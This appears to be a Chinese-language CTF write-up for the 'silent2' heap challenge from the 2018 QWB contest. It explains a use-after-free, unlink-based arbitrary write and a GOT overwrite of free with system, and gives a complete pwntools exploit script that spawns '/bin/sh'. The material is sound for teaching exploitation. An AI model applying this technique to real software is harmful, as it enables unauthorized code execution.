silent2
上來checksec
發現NX、Canary都開了,但Partial RELRO說明可以修改got表,PIE說明沒有地址隨機化,就可以直接利用IDA中看到的地址,不需要計算libc偏移了
先看main函數

case1:功能就是create啦

注意到*&s[8*i] = v3這句,說明是用s這個數組來存儲堆地址的,并且最多存儲10個至少為0x80大小(或0x10)的堆 case2:功能就是刪除delete

注意到free后沒有給數組該元素設置為0,存在UAF漏洞
case3:功能是編輯edit

可惜這里長度不能自定義,只能根據原堆大小進行寫數據,因此光看這里不存在溢出情況。
另外這里奇怪的是往0x602120的bss段中寫入48個字符,或許這里也可以做文章,但我做的時候將他忽視。
看完源碼后提出以下思路: 目的是執行system(‘/bin/sh’)–>修改某個函數的(strlen或者free等)got表為system_plt–>利用unlink任意地址寫
先至少建立5個堆,然后將第4個和第5個堆free掉(不懂的可以參考我在CSDN中的unlink),以在unlink中構成chunk3->chunk0->target_addr的篡改鏈
然后利用UAF漏洞對第4、5個堆進行偽造
雖然說malloc后返回的不是頭部而是data數據段了,但看源碼后才明白需要修改這個頭部才能unlink
將指針前移的偏移量為prevsize,也即只能前移到該0x130大chunk的數據段初始位置,因此需要在這里偽造一個頭部繞過unlink檢查。
p64(0) + p64(0x91),關鍵是這個0x91和0x90大小一致(最低位只表示是否空閑,對實際大小無影響)
接下來就是free來觸發unlink了
這樣一來,就完成了 chunk3->chunk0->target_addr的篡改鏈
接下去就是利用該篡改鏈修改函數got表了
這里可以選擇strlen,也可以選擇free,但最終觸發的指令得相應改變了
先往chunk3中寫入free_got的地址,這樣chunk0中保存的就是free_got了
然后往chunk0中寫入system_plt,這樣就相當于往free_got中寫入system_plt了
如此一來就成功修改got表了
最后就用free(‘/bin/sh’)來觸發system(‘/bin/sh’),由于開始時我就往chunk1中寫入了bin/sh了,這里直接用就行了
delete(1)
exp
from pwn import *
#p = process('./silent2')
cn = remote('127.0.0.1',9527)
def create(size, content):
cn.sendline('1')
cn.sendline(str(size))
cn.sendline(content)
def modify(idx, content1):
cn.sendline('3')
cn.sendline(str(idx))
cn.sendline(content1)
def delete(idx):
cn.sendline('2')
cn.sendline(str(idx))
print cn.recv()
free_got = 0x602018
strlen_got = 0x602020
system_plt = 0x400730
p_addr = 0x6020d8
create(0x90,'aaaa')#0
create(0x90,'/bin/sh\x00')#1
create(0x90,'cccc')#2
create(0x90,'dddd')#3
create(0x90,'eeee')#4
delete(3)
delete(4)
fd = p64(p_addr-0x18)
bk = p64(p_addr-0x10)
payload = p64(0) + p64(0x91) + fd + bk + 'a'*0x70#3
payload +=p64(0x90) + p64(0xa0)#4
create(0x130,payload)
#unlink
delete(4)
modify(3,p64(free_got))
modify(0,p64(system_plt))
delete(1)
cn.interactive()
2018強網杯-Writeup